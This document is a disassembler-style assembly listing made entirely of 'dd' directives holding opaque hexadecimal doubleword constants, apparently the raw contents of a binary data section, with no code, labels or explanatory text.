		dd 312F4C4Ch, 72292003h, 0BFA088C4h, 0CC0014BAh, 2008AD6Dh
		dd 3C4ECE2h, 0EA803A14h, 0D121A550h, 5057919Eh,	0C012AD48h
		dd 6404371Fh, 0E7628BCBh, 204F1E10h, 0D0A00381h, 1A0BB030h
		dd 23EDC3EAh, 0BBE10EE4h, 59A6F3h, 24835E5Ah, 44C5C639h
		dd 58468A3Bh, 880280DCh, 201D9B1Ah, 234C0FE1h, 382E000Ch
		dd 83A7936Eh, 303E6492h, 0FCC4C144h, 7239DDBCh,	32830A30h
		dd 0D0B79009h, 0C0AA1F87h, 0ED6BD302h, 1E78600Ch, 68C7599Dh
		dd 0D9285700h, 0DCEACD73h, 634CE09Fh, 83650FA0h, 0D3C6D719h
		dd 2D63A84Bh, 0C21DC259h, 6A2CE995h, 0D088AC34h, 44969C10h
		dd 0C42BC18Ch, 8998D2BCh, 0CD5C4460h, 85125092h, 2434AFD1h
		dd 0A529000h, 7562Dh, 1BDCB606h, 27D3827Bh, 2E1AD07h, 22134EC4h
		dd 0AC110129h, 0D41C7636h, 0FE808728h, 6A8379CEh, 0CB88C78Bh
		dd 97CDDC25h, 9EA51F4h,	0A89C4215h, 37528C60h, 78DFA0C9h
		dd 20389090h, 680C3EDEh, 18C6085Dh, 1640D619h, 83E0C1F0h
		dd 2E047279h, 9601A8E1h, 0CF54A5E8h, 336BBC30h,	0BE202159h
		dd 0AAEA183Ch, 67F808B3h, 8D45D104h, 9C88D0CEh,	49A640E3h
		dd 2C0FCAF0h, 321D9F11h, 5B248CC0h, 4C1C797Ah, 0CAC0309Dh
		dd 0E27D6C04h, 0ACBA0228h, 8317808Ch, 40165E9h,	8C5E2489h
		dd 0C4FC3851h, 45123081h, 0E3F93DF0h, 51B16CC8h, 0C3CB0A00h
		dd 0DFE41FE6h, 1C7C09A5h, 0D430193Ch, 6B185C95h, 0C0D9A2DDh
		dd 5A734CA5h, 0E2D5CA0Bh, 0CEF27410h, 301B8A17h, 84A0F413h
		dd 0B83099DBh, 7C93898Fh, 65C14440h, 11C1889Eh,	6DCA71D1h
		dd 99BC4h, 0E5E8C2F5h, 7B826695h, 0B0D68001h, 851183FAh
		dd 0E95C70A4h, 5C290C09h, 0C8AE9487h, 0E0F57B00h, 4A82E18Ah
		dd 3C3006A1h, 7808E91Dh, 2EAB761Ch, 592C2C58h, 0E8E8C283h
		dd 3FC8AD9h, 4C1EE03Ch,	94838258h, 82CB0049h, 8903587Dh
		dd 52C67F0h, 3DCDF93Eh,	1AD0830h, 0ABC9969Dh, 0D31C81FFh
		dd 590C1158h, 1A5CC2F8h, 13380CC4h, 1661B48h, 1C7D60AAh
		dd 7C240EFEh, 43D60140h, 0EC022F38h, 10903648h,	7805B61Ah
		dd 801BE884h, 248BD2E8h, 7D552517h, 0D8601417h,	485B5CF2h
		dd 7E30786Ah, 3DFEA21h,	1096B881h, 8D9404FFh, 78E81586h
		dd 109D0F34h, 4419B40Eh, 56167BFAh, 66840CE0h, 702AE110h
		dd 0FE00CCF1h, 0C8E4BCD0h, 0F879ECFBh, 107F1CD2h, 58EA0036h
		dd 23450A0Ch, 0C4184E1Eh, 0CF6F7140h, 286BDD4h,	8A4910CCh
		dd 0E1012240h, 2C50C3FAh, 0A54AEAh, 0F82D4A4h, 0C4767C8Fh
		dd 0C2529507h, 8EBFA617h, 3B80BC6Fh, 0A2032BFAh, 32D776C4h
		dd 0E8704389h, 7889943h, 0C0923D1Eh, 34102B26h,	0FC80A664h
		dd 83C02AEAh, 0BD7450FFh, 103E23C3h, 48D897Bh, 43F403E9h
		dd 0D2380048h, 3F2E70DCh, 8A3F259Dh, 73770050h,	0C338C78Ch
		dd 0B47C1D4Fh, 0B1478053h, 22D8CEF3h, 4CBD0F01h, 0CA5D74ECh
		dd 3003828h, 2F55DE33h,	0F494169Eh, 0BCA1FC98h,	24709215h
		dd 3F08B679h, 7B6E1C00h, 5C2BCB11h, 453A60B0h, 0E00C187Eh
		dd 1C04B3C0h, 0C0BB30ACh, 62F24BD1h, 92071FA4h,	8351B6CFh
		dd 0AB6BA8B0h, 8AA2014Ch, 0CE44F524h, 0EA0430AFh, 2C3E152Ch
		dd 0B540A31Eh, 0E0139265h, 5D90FD6h, 0A0279D89h, 0F9B6048h
		dd 2924C6C4h, 0DC2879CFh, 611B0600h, 0C1EBA4C2h, 0E094A3ECh
		dd 513F53F8h, 403ED0F0h, 0B10FC380h, 5550105Ch,	1D019884h
		dd 0A12C644h, 0C60FDDDh, 4BE44A0h, 9E5F3000h, 7F248272h
		dd 3C9F01D3h, 0A8EA07C3h, 9B6300ADh, 482B0E6Ch,	3D48E1F9h
		dd 641E8B16h, 71E2B242h, 42E05047h, 0E850942h, 238023AFh
		dd 0A4605264h, 1F870128h, 175FCC3h, 0B8931FE7h,	0E15CEC6Ch
		dd 3288459h, 2BDE79D4h,	0D13490C0h, 0AC8D1860h,	3C5C888Ah
		dd 971E440h, 0C1C48EBCh, 0A6B87490h, 84404548h,	0F0C5D68Ah
		dd 0D1B0B402h, 8B44541Eh, 0B4E804C9h, 14B34FBAh, 0DD30382h
		dd 0D4D048BEh, 2EE090ABh, 9588AD7h, 0E89A80F9h,	10B36086h
		dd 30EAD43Dh, 0EC0601Fh, 98CB269Ch, 0D418A760h,	9E6B785Ch
		dd 84B4D468h, 0C8D954EAh, 2E0090D4h, 0E6C4DBBDh, 17F403C5h
		dd 401F1E4Fh, 5F426838h, 2941321Ch, 0C0A5BC40h,	0EACC0961h
		dd 0C031C6h, 6C14698Fh,	7590F6E3h, 0EABB8906h, 8F195DDh
		dd 3B145CFCh, 43788300h, 130458A1h, 61799484h, 518AA350h
		dd 68E0F478h, 4584B1CCh, 76B83819h, 71A5D00Bh, 240404C6h
		dd 491CF416h, 3B91EB19h, 5C61CDB0h, 0BE80B410h,	2C0F0052h
		dd 5CF5788Ah, 0EC925131h, 80FF7978h, 0C5441888h, 3CB8A65h
		dd 0E1050947h, 592D9950h, 0B02C0841h, 1D1B642h,	2EAD04C4h
		dd 604BD853h, 0D780FDFh, 5CC010BFh, 0A06449A4h,	64F6E00h
		dd 6B8338FFh, 0F874C1C0h, 49372BBFh, 101F4418h,	18679D44h
		dd 0EB820848h, 52E71100h, 9A5CFADEh, 7E8C9A91h,	0B5EE30D5h
		dd 0CFBF50E8h, 39ECA3Dh, 44E4F91Dh, 33A27862h, 8411F325h
		dd 0B10956ABh, 76031DE5h, 0C41600B4h, 6B0733ECh, 0F49D910Fh
		dd 98979244h, 0CADD80F9h, 0EC393B8h, 7975E910h,	74B6CF9Dh
		dd 0C980B90Fh, 52B17CAh, 0A51DF60Ah, 0FA008CBAh, 0A7C114EFh
		dd 31DC006Ah, 65C70EC2h, 55005672h, 0F544F9A2h,	0D7016F1Dh
		dd 0B0740430h, 6518E5C8h, 1D706404h, 0DC292F6Ah, 0AC7EDC0Ah
		dd 2F47600Fh, 83C2229Eh, 0CE30486Ah, 161C0B6Fh,	0E89002F4h
		dd 32504D1Eh, 3601AAB4h, 0B9666476h, 45FD4347h,	72830470h
		dd 7141C761h, 27A11123h, 792FD49Dh, 0CB9E6402h,	0D0966611h
		dd 2AAB0038h, 0A6E97782h, 0E0354ADh, 91E5346h, 4C687A35h
		dd 8F0158FAh, 840815C9h, 0D00A7E38h, 1A01F0C4h,	93E65F14h
		dd 0AF1DF1CBh, 12187824h, 4FDBBA5Ch, 0D1920EA8h, 89697748h
		dd 10377240h, 52821E8Ch, 6200B88Fh, 4DB6AC2Fh, 0A2783C8h
		dd 9A8C995Fh, 5C0CBC77h, 0DD68FC87h, 0B9D56105h, 3CA89655h
		dd 5EC42450h, 68D02D03h, 1C424F78h, 80AC1083h, 1DF99C9Ch
		dd 38B26074h, 0CDC04417h, 0DBE8AF48h, 20E0B530h, 7CC31205h
		dd 8A031E5h, 0FD2E0014h, 0D56900E0h, 707D2AAEh,	8A134A11h
		dd 8093D286h, 4835906Fh, 0E7578ECh, 138A0311h, 0A30891E0h
		dd 0AB14B30Bh, 0CAA08239h, 220A8023h, 61021009h, 624B73EAh
		dd 3340C11Ch, 0D92ADC42h, 0D3830A4Ch, 0AAD02E20h, 634C9428h
		dd 0C0192774h, 44383522h, 41518420h, 4337CD6Bh,	68619EBCh
		dd 0E5C0C7E0h, 96027832h, 0DD8E5C68h, 20E40C40h, 0DE02FF02h
		dd 0CE57BA99h, 0E2892628h, 583D1080h, 0F990102Ch, 49DD1E12h
		dd 64CEFB70h, 0EA31EC22h, 6525F0C1h, 0A950807Dh, 22850A08h
		dd 0A442D0B1h, 486CE413h, 3AC01864h, 5E2FF3D8h,	0D401C494h
		dd 6F4458Ah, 0EE017863h, 0F2EAD20Ch, 0C880A4A3h, 2A34380Bh
		dd 81271C90h, 0DA539B94h, 723EB82Ch, 0D3FFC800h, 0A2F8FA6Bh
		dd 0A51E5E04h, 0EC03DFh, 43C6784h, 30B0C704h, 2F8490BCh
		dd 0D8093583h, 418CE80Ah, 78A58199h, 0D4242EC8h, 1DB7B030h
		dd 0C4345539h, 11C63825h, 0C1826D7h, 585BFB83h,	16EA1DC4h
		dd 1C6EC3BDh, 9800E641h, 0C23D9176h, 2E90BC10h,	0A81705h
		dd 3C6BC407h
		dd 192C8A66h, 9C00A934h, 0A840578h, 0CEB8CC92h,	8904550h
		dd 7A729B03h, 0AC293687h, 0EA0874A9h, 9916DA3Ch, 0D21EFC43h
		dd 0FB7825CEh, 834094D6h, 36CCCD1h, 8ABCB9Bh, 38F6C0EAh
		dd 4A30FC7Eh, 2AE67071h, 440E0010h, 7872661Dh, 0DF7C8A39h
		dd 90224E2Fh, 5765A9Ch,	8B45A8B6h, 2A7CB2FEh, 5E5AB4BAh
		dd 19EADC00h, 0EA808D3Eh, 98819F8Ch, 0F4752F22h, 5D7C246Ah
		dd 2908B82Fh, 0CA0654Ch, 0B53942EBh, 0A4A2522Ch, 96DAD480h
		dd 70453F5h, 2CD62DEh, 0DDD702EDh, 3F1E0C81h, 0AF308025h
		dd 0DFD860D6h, 67ED0150h, 1C728EC8h, 0D4006E29h, 37EA5BABh
		dd 0A4119528h, 3CE04373h, 10B8F2C4h, 61138E04h,	0CDB2002Eh
		dd 82DED1D7h, 0E081559h, 0AC1C7CCFh, 0B4182821h, 3CC0695Ch
		dd 0DD65CB6Bh, 14C2F811h, 2A0F0F4h, 955C8DE6h, 7CD2ACF9h
		dd 38ED040Eh, 0FC30962Bh, 7E5C3235h, 0FE9400CCh, 0E07FBE4Dh
		dd 8CB2C07Ch, 0A0CD56h,	630CCCD0h, 29749651h, 43B037BBh
		dd 805C9BDBh, 647E00A4h, 993674A8h, 0EA580CC3h,	0C8B1E9C7h
		dd 0A9E1C0C0h, 0BA1E556Fh, 14C899A4h, 8D832CC4h, 0BFD2D106h
		dd 9B1DDCD1h, 0CA0E06E0h, 180526EAh, 0D283B616h, 0E2D830C3h
		dd 1C854C1h, 9C5CFFFEh,	485C6862h, 0F53778B0h, 2AE0105Fh
		dd 13926FCAh, 51B41E9Dh, 151AD410h, 748F110Bh, 0BF13A03Fh
		dd 4F2E83h, 56FE86D1h, 81E900C0h, 6B62ED59h, 4B5C8B93h
		dd 0E797191Ch, 8C398AB8h, 884C4858h, 3B241C4h, 0F02D7E16h
		dd 92231D96h, 32C304BCh, 90501C79h, 0CB74F340h,	19731D13h
		dd 25855C9Ch, 3029B178h, 0F4EBB418h, 8CBCEC74h,	84C374C5h
		dd 0F3692665h, 68722D84h, 9E86C14Bh, 7D55F40h, 0ADEA5C40h
		dd 0EFC802C9h, 32F58C4h, 18C49436h, 2094B65Ch, 0D048CE81h
		dd 82D605ACh, 9CE22650h, 115C1870h, 321759E8h, 0A21F0322h
		dd 7FBC528Ch, 0BC43F925h, 2994F16h, 0B7E1FF7Ch,	740218F6h
		dd 0CEA5B172h, 507090C0h, 59832421h, 0BA122426h, 8B60702Fh
		dd 0D8B048D3h, 6623B312h, 0B13AB8C8h, 209E886Ch, 0C61DE106h
		dd 0ED4A0BCh, 51DC8096h, 8050EA25h, 6695B464h, 98B874h
		dd 2BEF86A5h, 0C8DC5E33h, 300FE9FBh, 0F700FF80h, 247C66DBh
		dd 2A4E3E9Eh, 1F8231Eh,	6139EBFEh, 43113B4Dh, 0B1745C92h
		dd 0A0D29337h, 0E259F2F2h, 0F03C6010h, 0C720C3E8h, 78E96AC9h
		dd 0BB783055h, 0E7331702h, 7029905Ch, 197C0754h, 65C36850h
		dd 0C48CD013h, 0BD0248C8h, 2E1C6CF1h, 0A1F4EBD9h, 12AF7EAh
		dd 0C485BE6Ch, 815C38C0h, 9E814265h, 60891420h,	0EB536057h
		dd 0E900C40Ch, 2CF517F2h, 50C56EDEh, 90CB08C1h,	922D4C60h
		dd 0D0834200h, 0C31C3B9Eh, 0CB46049Ah, 80226013h, 86FF1E34h
		dd 0C95398C0h, 71C00C4Dh, 83E504C2h, 0ADE2B531h, 62E6801Ch
		dd 92CB275Dh, 16D40158h, 3A1E1A74h, 0F4488330h,	0FABA65Ch
		dd 44324D21h, 7F406C93h, 0A4404Ch, 0B111F8FEh, 0F82786Eh
		dd 0E78A92D0h, 0C0101793h, 3680CBB4h, 22A56094h, 31AD0Ch
		dd 9D782CC2h, 448D8125h, 4F1E2CE8h, 90A218h, 8288A3DEh
		dd 0F9B6DC78h, 33240702h, 0C297E479h, 1E740194h, 347336C4h
		dd 0B5BCE3Eh, 1002E0D4h, 18CCF96Ch, 10F7FD31h, 4C72ADCBh
		dd 66857890h, 17F4A96Bh, 2CA0C05Ch, 0D96C3F19h,	0ECC6186h
		dd 583C8852h, 6893265Dh, 0D4053480h, 0C1C372EAh, 0BF83C748h
		dd 0D9D040B2h, 9BFC91DBh, 73EC4300h, 0CF3BEB05h, 8A6E00BBh
		dd 24D8CEE9h, 1EF6C4C8h, 90262E28h, 7C38CC00h, 0DEC97EEBh
		dd 61C30018h, 0D2F29B7Ah, 0A96DF16Bh, 1AE0C8E1h, 84C4B10Ch
		dd 0EE9F72D0h, 5F2B2D00h, 0F8966344h, 48DE2A8Bh, 506120BCh
		dd 468294Ch, 826323C8h,	258344CCh, 4106EF1h, 404C0804h
		dd 0D8D468h, 0DF9F0680h, 49AFFD6h, 0DB1DA13Bh, 0AEE8948Ah
		dd 9BBB6000h, 0B8F33E56h, 0E6F500F4h, 23C10A78h, 640179FBh
		dd 843A0D70h, 0D1D15C02h, 6BEAA840h, 95C090A8h,	0D68CA801h
		dd 0C772D4D0h, 93215202h, 0D774DEECh, 0EACFA080h, 0B8C00F95h
		dd 7B9D8D16h, 0D36400E5h, 0D2021472h, 54BA68EAh, 3EEE1278h
		dd 0E2F8FB01h, 13911C75h, 6F5B080h, 89C63B53h, 5776EA18h
		dd 842680h, 79458347h, 6BCD5272h, 0B30B5D0Eh, 8BB9C054h
		dd 3C29CA7h, 0EA01DBCAh, 680C062Bh, 5874B89Bh, 6B6A2883h
		dd 1DCA76A4h, 4038661Dh, 8AF18462h, 0D71DF46Fh,	0DA8D408Bh
		dd 3029285Fh, 4063185h,	931580D8h, 0E4C5A29Ch, 0C32C1D64h
		dd 4B80A0BDh, 5554B57Ch, 13087143h, 4EAC0E5Ch, 0C4C01DF8h
		dd 7FC07AC2h, 0F84FFB78h, 372B5000h, 1C226C5Eh,	8CEC2AA7h
		dd 79115DFFh, 0A0DFE224h, 0D91FF30Ch, 88E54A73h, 0C02EBCF8h
		dd 0E203B0A5h, 9A81F95h, 0D1075210h, 0D5FE4CA0h, 5304B479h
		dd 0BE34752Fh, 1E70480h, 1E060C54h, 0F250A5F3h,	69665C38h
		dd 7B010B0h, 7910C1CAh,	33926A9Dh, 0F54A7C1Ch, 7C001465h
		dd 9B12E8DCh, 0A2650099h, 0AEC394E5h, 5690FC2Eh, 68ECC42Dh
		dd 0A26698h, 0C8E92F03h, 0A65ADAD4h, 1E21D50Fh,	0B8495355h
		dd 448CA29Eh, 5CC4E21Bh, 0C02A1FC8h, 7DF8E2D7h,	32281002h
		dd 7627085Bh, 85C65B6h,	48182445h, 38D1D281h, 0B309FC0Dh
		dd 68E3581Dh, 0D06B5C90h, 221D74B2h, 0B214E93Ah, 0C21000DCh
		dd 3382E31Dh, 1B47CD9h,	3CE79E64h, 3CAC071Eh, 0FECE80F0h
		dd 5CB4E1BCh, 448F5052h, 507BCC69h, 0C571E505h,	0DC01A064h
		dd 102CF4D1h, 588F23E0h, 0C04EC941h, 0E39CDBB0h, 94DD7D00h
		dd 0FBC03145h, 0CC65E35Ch, 40810C60h, 5582B75h,	1E488164h
		dd 0AC2D749Fh, 0A6B38303h, 72B04A73h, 2512F22Fh, 0B003508Ch
		dd 8894AADEh, 13375D2Bh, 899EC53h, 0B00BFFDCh, 9DF4ECC0h
		dd 0F5C6C030h, 0F4703E81h, 0DD5AB0EAh, 3AB8010h, 0D26F647Bh
		dd 0E6FA6E05h, 80C252D1h, 8E4E572h, 830FC520h, 0EAAD0725h
		dd 0D08AC90Eh, 73CE0798h, 3042E32Dh, 16EC6D97h,	45584709h
		dd 0ACEE06C1h, 4C27E71Eh, 0EB8AB840h, 906C27C8h, 8274B6F0h
		dd 2056BD8h, 6DDC098h, 7400F071h, 0E50481EAh, 0EE4F9539h
		dd 484A4C1Dh, 0EB18614Ah, 0E441817Fh, 1CF75CE1h, 30DB189Eh
		dd 5D65E681h, 0B4EC824Ah, 84251603h, 0D014B8B9h, 7F015C4h
		dd 89360F27h, 2A1CED81h, 2E964FF4h, 0E8CF7Fh, 3D3B9833h
		dd 8C2558CBh, 2BC468FEh, 91290E41h, 0DB27DD28h,	946141E6h
		dd 31886882h, 59CB2917h, 0BA64052Eh, 28E0892Fh,	250B009Ch
		dd 0FB6B677Ch, 98A6C7h,	7903F9D9h, 9F1A1D97h, 0C507489Ch
		dd 5457FE60h, 0B3A39170h, 14DA7C74h, 9BA2677Ah,	3FF5C440h
		dd 230510BCh, 81778A2Eh, 78D5EA39h, 0EF200E2Ch,	0A03A4F6Ah
		dd 0A3475C7Ch, 0BCE63EC4h, 0DE55C707h, 8748E97h, 0F8FFC000h
		dd 8B845F01h, 0E1E2A01h, 891DEB44h, 10CC133Fh, 0C30368A8h
		dd 0CB74A31Ah, 0B0CA838Bh, 6B0448F8h, 98DED9C5h, 0F63934A9h
		dd 4C890E0h, 8B04FFB0h,	90DE5CF0h, 9495A890h, 0B5723DCAh
		dd 59AEB781h, 42137D84h, 0E853BDECh, 0E09A6085h, 0F9C468A8h
		dd 10200994h, 904CC398h, 0A6E920D4h, 52598B0h, 97FC5A99h
		dd 0B2E58805h, 76F5123Ch, 0E874580Ah, 0B054032Dh, 396010D0h
		dd 95C00041h, 6E0F8252h, 0B7C90029h, 0E47C4E23h, 804CCE71h
		dd 47A3C884h, 0F8C6A50h, 0D9805206h, 0ADD382AEh, 37C46C02h
		dd 7402B583h, 306D470Ch, 5CCF7261h, 0C06B3C27h,	5D0CE1Ch
		dd 0CDE4C0F8h, 0E8D882B3h
		dd 0FB00787Ah, 0A4F7D692h, 0DFCCF3h, 0E0E53845h, 341DDE44h
		dd 7490B0BAh, 0A1E29F16h, 13973408h, 27A8F775h,	0A9601866h
		dd 7B80C352h, 1DC1FCCAh, 7D108263h, 7647A864h, 0F4836138h
		dd 0DD002482h, 381FB57Ch, 9115FD25h, 8CE309ACh,	0BA80936h
		dd 0C7A04118h, 8216A03Ah, 8A811A60h, 0C4130B8Eh, 32D70h
		dd 0FDB77816h, 5BE8E918h, 69920297h, 54B53CDh, 0AE831C48h
		dd 0E10564B4h, 4D4A22Eh, 38F7ACD1h, 5E2B4800h, 0AD8738h
		dd 6706FA59h, 40F55C0Dh, 440011B9h, 0FE582F32h,	26EA6BDDh
		dd 0A74493BBh, 0BA839C22h, 0F3673C54h, 132C14EBh, 95AF0E84h
		dd 850CC5B0h, 5040C970h, 912271A0h, 5FC7B100h, 0C968FF2Ch
		dd 847D0102h, 0EAD6AC7Bh, 0B41F6A25h, 0F0167600h, 24419C1h
		dd 0FEDBC0E8h, 5064368Bh, 5BAC2303h, 0A57FC3C4h, 123EB8B1h
		dd 26709878h, 0C427E25Eh, 0C4121682h, 0F3C50064h, 0EE026E6Fh
		dd 8A05D2Ah, 3D0B1D82h,	1D91BE9h, 0ACC76B58h, 282478F0h
		dd 2AC418Ch, 0AE57B8DCh, 90D84D83h, 0E891D54Eh,	4F0C975h
		dd 0C49ABFh, 730D6D10h,	9D9E6607h, 384E7807h, 0CBE01C75h
		dd 247C51h, 26533A85h, 4A8AD9FFh, 0EA102A04h, 94A02E16h
		dd 61A562C8h, 0F058E95Ch, 0E205FF74h, 8526278Eh, 1F16E881h
		dd 0BE609007h, 2D341DFEh, 0BAAF18Eh, 9F8112D0h,	2B2A83F1h
		dd 1D443000h, 0AA02ABC4h, 9D185EE4h, 0CE5F2011h, 597B6100h
		dd 1CF6D92h, 74C43E47h,	0D4FDCCF0h, 0F0345C0h, 6D1C688Ch
		dd 5B71039Eh, 0CFBBA887h, 18D03Bh, 0A38850F1h, 0A64B02h
		dd 0C5306953h, 0F9CB0BBAh, 0F605C74h, 0FC1C76D8h, 8248DFD3h
		dd 0FD87EA18h, 425E0068h, 84791604h, 0B4987AFBh, 76E165Ch
		dd 4E40B2ADh, 0DE8EC20h, 0CD848CEh, 0E699DE82h,	0D0A9606Ch
		dd 34283FBEh, 0CE18847h, 0C2506A4Ch, 0D9B8315Ch, 0BFEE074Ch
		dd 109E6FDAh, 11D40494h, 0ACF89684h, 1DF42E05h,	0FAB0B0D5h
		dd 8F4EAFB8h, 0C7B4030h, 4482B7B1h, 40C16385h, 310BD16Ah
		dd 9F7CE414h, 39205FFCh, 44774A02h, 1D26CE0h, 8A6723CCh
		dd 305C0CE4h, 0D8603C32h, 0C926A645h, 1010C12h,	0B9049B7Ah
		dd 0F42899DDh, 95E81E09h, 68D8946Bh, 0EA16ACFBh, 0F8F418D6h
		dd 7C4D0025h, 0AFC2C4EFh, 9600B2CFh, 99DD8465h,	514DF27h
		dd 5423310h, 5D20C0E2h,	1907F717h, 8A3102D1h, 0B0E861C4h
		dd 0C092F810h, 0E92C72CEh, 0EF8339ADh, 0E2AADC0Bh, 0E31078E8h
		dd 14E48A3Fh, 25A4E1D8h, 276CC4C1h, 2020B174h, 0FE92EAD2h
		dd 8323B0C0h, 4147350h,	0AFCD79ACh, 30A6C8h, 68C4EC4h
		dd 664C5CD1h, 68899096h, 9FDC9C44h, 607B4069h, 9D125100h
		dd 100710C7h, 39F136C5h, 0BC3CC31Eh, 1A44F302h,	3C7AF8B0h
		dd 95A15C10h, 0F451DA2Dh, 0EC20D724h, 2B165A7Bh, 0D0042A26h
		dd 0D8B0459Bh, 0EE883083h, 0C1114778h, 0BF6DE124h, 27EA5830h
		dd 3089851h, 0BEE4F33Ah, 26C8AC0Dh, 307B0BCEh, 0F1FCC000h
		dd 507DCFC4h, 731E1E75h, 840A42B7h, 285E9031h, 127BC26h
		dd 0D1081DA8h, 0C08B302Ch, 5C453C8Bh, 30CD0487h, 4F3472CBh
		dd 1FA45D54h, 134424C5h, 28E4A17Bh, 61CD0990h, 2D681004h
		dd 72058171h, 9C011340h, 1EFE9043h, 0C895E110h,	0BC25C2F0h
		dd 0B8208D48h, 3A6FCD80h, 0D4276822h, 5C17408Ch, 54968EFEh
		dd 685E3A8Ch, 793200DAh, 5A6F77C8h, 0C400AA99h,	7FF9BAC6h
		dd 1CA06460h, 801B068Bh, 2B39E604h, 9100F571h, 0CA738102h
		dd 648CC6Dh, 0F05CDADBh, 0C8B460E9h, 20D46CC9h,	0DB0C195Ah
		dd 0B97FEA5Ch, 0B40400AAh, 5995CABEh, 98022926h, 861C7E93h
		dd 0C1946A78h, 62EA2C34h, 1CAC5E54h, 0FCEFE0C8h, 6F0EA147h
		dd 47626E54h, 0C023EB74h, 6B37E8CAh, 0B073FCC5h, 720C2460h
		dd 3DDB098Ch, 9B08E80Eh, 0EA702302h, 265454FBh,	518BC94h
		dd 2122A1E0h, 0FCDD2001h, 871C7BCCh, 579901D3h,	73119564h
		dd 0FF147010h, 14E08F12h, 0CED1105h, 1EC3A4B8h,	3904D91Ch
		dd 0F71AF0FFh, 0B516DCC1h, 7874DE02h, 65125CACh, 5C4094C6h
		dd 0BF051025h, 0C4845CFEh, 0D0588156h, 0B79EE0B0h, 7B6060C3h
		dd 40697AF7h, 0B107AD80h, 7F3DB51Fh, 0C214894Fh, 3C6CDC50h
		dd 0F5C4E916h, 90042BD0h, 0C70B1682h, 9CE61098h, 85635C70h
		dd 80D10378h, 29BBAEAh,	412AE398h, 0B45C6F8Ah, 0A3CAC280h
		dd 0EE1C79FBh, 1ED09A2Fh, 80EC055Ch, 29F1EDC5h,	0FC0099CCh
		dd 2EF3EBFEh, 22A931h, 70D30DD5h, 239E76CBh, 5CE72D04h
		dd 9803AAB3h, 74C18818h, 4E888F75h, 0CCC0161Eh,	2F782BAAh
		dd 0EC61351Ch, 0FE01C804h, 4ECA0C00h, 0A4763F22h, 609500A3h
		dd 0C4A5D1C2h, 1F04C3EEh, 89946481h, 23A120ACh,	0AC6C4Eh
		dd 0E4BC01C0h, 0C3898C1Dh, 2A682C60h, 0E859A1A2h, 65EF485h
		dd 5D25F0C0h, 481767BBh, 682AF08Ah, 0CB16CC76h,	0BC068C34h
		dd 1DC97E5Ch, 0C0143ADAh, 0AB836656h, 0C913E421h, 6481DF5Ch
		dd 30357882h, 0EB81007Dh, 2B469ED2h, 198A1041h,	21AD1132h
		dd 2558744Ch, 0FCA05EDCh, 0D93C40FAh, 0BBC9CE00h, 0F57E664Ah
		dd 54565C92h, 28B11001h, 0E8DE341Eh, 0A712EAE6h, 14E24691h
		dd 0E064B825h, 0FAB28C80h, 0DA2CEF0Bh, 6B8802F6h, 0EFECF451h
		dd 4BC4F01h, 0A0143F9Ch, 0C6702D64h, 0D4C095D4h, 501E24FBh
		dd 18D25CBEh, 0D0374040h, 0CBD3EA0Dh, 8F8BC089h, 64B0680Bh
		dd 70054B3h, 481FB456h,	174F9DDEh, 0E0C8EB3Fh, 7400EC2Ch
		dd 317B827Fh, 26EAE6Ch,	94EA2CACh, 589A490Eh, 695E0ECh
		dd 2CA66560h, 0DCCC77h,	401D6EE6h, 4490DEAh, 5C7D1D94h
		dd 8838D55Ah, 0F86ADC3Ch, 3F03F116h, 2CBE1AEBh,	8858A818h
		dd 0C20A4F6Bh, 8564E02Bh, 0ADA48412h, 4B1E8508h, 0B8537CD0h
		dd 0D2C002B7h, 0A41DCB9Ch, 0D9809CCBh, 0B1006DD3h, 6EBD74EFh
		dd 0CD14BEh, 0BFF7C1F4h, 1A283F5Fh, 40AE8A27h, 276B7D88h
		dd 0C498A602h, 7200B46h, 0FD2E097Eh, 20A0C11Dh,	0B30E5B2Ch
		dd 1EEF5C1Dh, 1F15B182h, 0EA1F4030h, 0D03C64D4h, 3BD4F6CEh
		dd 9EB04D79h, 3F9BD131h, 2C83A834h, 178AFBFh, 0AA1C72D1h
		dd 20D035BEh, 0A40A1580h, 9094F65Ch, 773C34A6h,	80246948h
		dd 53C4C9ABh, 830200C5h, 0AED41C0Fh, 110F2D13h,	438A62C6h
		dd 9A2B1003h, 0BD78E5BDh, 7C2F31Dh, 0C762BECFh,	0C0E73684h
		dd 7844315Fh, 710145A7h, 8772FF1Ch, 0EA60ABA0h,	9848D066h
		dd 0BA8F30D0h, 2482CDC8h, 1280A997h, 4E3072E4h,	697C17FAh
		dd 0E0746FACh, 6D8BD0A8h, 722874D0h, 0AF1E601Fh, 0DEC36450h
		dd 0C091C844h, 0CA95BE5h, 68265CF2h, 66094730h,	80BC4670h
		dd 0C1ED74A8h, 0F4605D23h, 86FC975Ah, 9C05C0B1h, 0D4C71DC4h
		dd 60C2D0BDh, 0F0D3E821h, 1010320Ah, 0BEE0F88h,	4233A1Eh
		dd 3788C405h, 0F498E3C0h, 61F48327h, 0A4307434h, 549558E1h
		dd 70799E10h, 0CA71CF16h, 8F061400h, 3DD899F9h,	332C28F2h
		dd 88E52798h, 0CE08B00h, 0EBB01244h, 0C2033429h, 0BCF536EDh
		dd 2B331DF9h, 2EFF2802h, 0D57CC00Fh, 0EAD8A894h, 0C1234E56h
		dd 6655D8h, 0E6F1FBh, 75C76ACFh, 6E89E71Fh, 0EC1CDD7Ch
		dd 4F4423F4h, 48EC93EAh, 5D83B509h, 0F5091C50h,	508B1E2Dh
		dd 325CE0F0h, 78A8EA63h, 0D020450h, 17D0BC40h, 1E1C68F1h
		dd 94C65D24h, 647A5603h, 3188529Eh, 104F4427h, 0C2B03C55h
		dd 98D61360h, 48D5EAC8h, 7BCAB8AEh, 58F608B8h, 0C84C8202h
		dd 3DE82395h, 49F0A049h
		dd 3E0B284h, 104DD3C2h,	0B5EB0C04h, 0BDB10F3h, 0F7ECC671h
		dd 744FA044h, 0E02758BCh, 0F9E1CC22h, 0C0AED900h, 81595B53h
		dd 8CA588h, 726DCA79h, 0C5E80067h, 0A4D69C44h, 8F002AE6h
		dd 2C7345D0h, 3EEDF8Eh,	1F7DC3D8h, 0EAB0F33Bh, 3CB28C43h
		dd 919B6B00h, 825C09B4h, 0DB70CEA0h, 62EE64Fh, 7BB6462h
		dd 25EC1C4Eh, 80422A2Bh, 270880A6h, 6FBE068Eh, 0F89AD8BBh
		dd 0DD699B13h, 83CC5030h, 60884DD2h, 0A5E06132h, 8052107Eh
		dd 46EACEF4h, 2BFD8006h, 9C976402h, 0E14D9E2Fh,	0FEC5904h
		dd 0F274008Dh, 0E9FAC3CCh, 0BA95480Dh, 165CD608h, 0C39004FCh
		dd 0F91E048Dh, 706B5C97h, 4322604h, 0C8D363C4h,	0AE3AE4A7h
